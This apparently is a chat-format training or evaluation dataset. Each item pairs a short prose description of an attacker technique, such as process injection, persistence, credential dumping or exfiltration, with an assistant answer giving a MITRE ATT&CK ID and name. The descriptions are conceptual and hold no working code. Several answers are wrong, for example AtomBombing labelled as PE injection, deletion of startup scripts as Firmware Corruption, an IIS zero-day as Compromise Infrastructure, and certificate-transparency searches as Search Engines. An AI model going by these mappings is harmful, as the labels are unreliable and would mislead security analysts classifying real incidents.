                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a compromised blog platform to host encoded data, then have compromised hosts poll the site to fetch instructions—an example of a dead‑drop resolver over a web service."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the Windows registry for a particular key and only proceeds with execution if that key exists and contains the expected value."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell file is emailed as a .txt attachment; the user renames it to .ps1 and executes it."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending malformed packets to a vulnerable application, the threat actor triggers a crash that results in a denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs shadow RDP session hijacking by reusing the victim’s existing session channel for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state modifies the PCB design files of a popular router before mass production, embedding a hidden backdoor for remote access."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious macro that uses the Shell function to execute a hidden command prompt and run a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker carries out a BIOS flash attack that prevents the machine from completing POST."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary cleared the list of mounted network shares on the compromised host to eliminate forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink is posted in a forum comment, leading to a malicious script that runs silently when the victim clicks it."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes a SMB exploit to gain unauthorized access to a system through the Server Message Block (SMB) protocol."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A scripted payload invoked the Windows API NetUserModalsGet to enumerate local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts its data payloads and then sends them over standard SMTP connections, impersonating email traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan initiates an encrypted WebSocket connection to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker identified an outdated Joomla installation on a public website and used an exploit to upload a web shell and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors remove stored DNS cache entries and wipe Netstat output logs to erase evidence of communications."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping module reads both /etc/passwd and /etc/shadow to collect user authentication data."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates decoy files with random data in the same directory as the real payload to confuse analysts."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromises a password manager application, extracting all stored user credentials for subsequent account takeover."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised mobile device to approve MFA push requests in real time."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload uses a secure HTTPS POST request to send encrypted exfiltration data."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script continuously extracts MIB tables via SNMP to build an up‑to‑date inventory of system configurations."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a custom shared library into a high‑privilege process via CreateRemoteThread and LoadLibraryA."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious systemd timer that runs a payload every hour to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed in a directory that is automatically loaded by a privileged process via DLL search order hijacking."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs an evasion technique to avoid detection by security controls, such as code obfuscation or sandbox evasion."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker took advantage of an exposed admin console to edit website content, resulting in a defaced page containing illicit symbols."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set modifies the registry to automatically create a new service account at system startup."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvesting campaign harvests backup codes stored insecurely by users, enabling attackers to bypass MFA without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing a man-in-the-middle attack on the MFA verification endpoint, the attacker intercepted and replayed authentication challenges to gain access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs AtomBombing to inject shellcode into a running process via the GlobalAddAtom API."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a launch agent plist that executes a PowerShell script whenever the Dock process restarts."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker collects data on trust relationships between corporate networks to find weaker security boundaries for exploitation."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors download the configuration dump of a switch from a version‑control system to identify vulnerable interfaces."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script examines the system's MAC address range for virtual NIC prefixes and delays execution if found."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into the extra window memory of a legitimate process, then executed using a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware tampers with the in‑memory session tokens of a web application to hijack user sessions."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reduces the minimum password length by altering the domain's password policy through Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses open‑source intelligence on the victim’s business partners to infer internal organizational structure and relationships."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a tool that pulls cached domain password hashes from memory and sends them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email leads the user to enable a rule that automatically forwards all responses to the attacker’s webmail."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a crafted .sh payload to create a reverse shell over SSH."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a packet‑sniffing utility to duplicate and exfiltrate traffic in real‑time to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a series of rotating proxy servers in different continents to disguise the origin of its command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs cloud service discovery tools (e.g., CloudMapper, ScoutSuite) to automatically map the victim's cloud infrastructure and permissions."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the XDG Desktop Entry specification to add a startup item that launches a ransomware component at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a vulnerable Windows service to gain elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious Docker image and pushes it to the internal registry, then runs the container on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors design a botnet client written in Rust for distributed denial-of-service."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through modifying the user-specific environment variables, the threat actor ensures their malicious executable is located before the legitimate one in the execution path."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the ServiceDll path to a malicious payload after granting itself full control over the service registry entry."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a one-way web service to upload keylogging logs, using HTTPS POST calls that do not require any server response."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts group information by issuing an LDAP query for the \"memberOf\" attribute across directory objects."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copied confidential files onto a hidden partition of a USB flash drive before leaving the office."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised legitimate application prompts the user to grant elevated permissions, which then triggers the execution of a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a disguised screensaver that automatically runs a remote access Trojan when the display turns off."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses stolen service account keys to log into Google Cloud Platform services, executing commands as an authorized user."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries public certificate transparency logs to find certificates issued for the victim’s domains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder abuses the WMI Win32_OperatingSystem class's Reboot method to initiate a remote reboot of the target workstation."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script accesses shared mailboxes via MAPI to exfiltrate attachments."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a batch file and registers it with the \"at\" scheduler to persist after reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed an unencrypted Box.com folder by abusing a leaked API key and downloaded all files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing direct calls to NtCreateProcess and related native functions, the attacker initiates rogue processes stealthily."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used credential reuse to log into a Red Hat Enterprise Linux server and install a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool disables the Ubuntu UFW firewall by issuing the command \"ufw disable\"."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the system's wireless interface to discover nearby access points and gather network configuration details."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leveraged compromised credentials to authenticate to the victim’s mail server and issued a bulk delete operation on all folders."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors infiltrated the build environment of an open‑source project, subtly modifying the source to embed a keylogger that activates after installation."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a native binary that calls the SecKeychainCopyGenericPassword function to collect saved database passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By granting write permissions to the service's .exe file, the malicious actor is able to inject their payload and execute with system rights."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploited a zero‑day in Microsoft IIS to achieve remote code execution on the web server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the system’s socket filter configuration to prioritize malicious traffic over legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deletes critical startup scripts, preventing critical processes from launching on reboot."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a compromised account with admin privileges, the attacker resets MFA settings for targeted users, granting unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack involves embedding malicious code into firmware of USB drives that are then distributed to end users, enabling remote control once connected."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder copies a TGT from a victim's machine and presents it to the domain controller to obtain service tickets."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
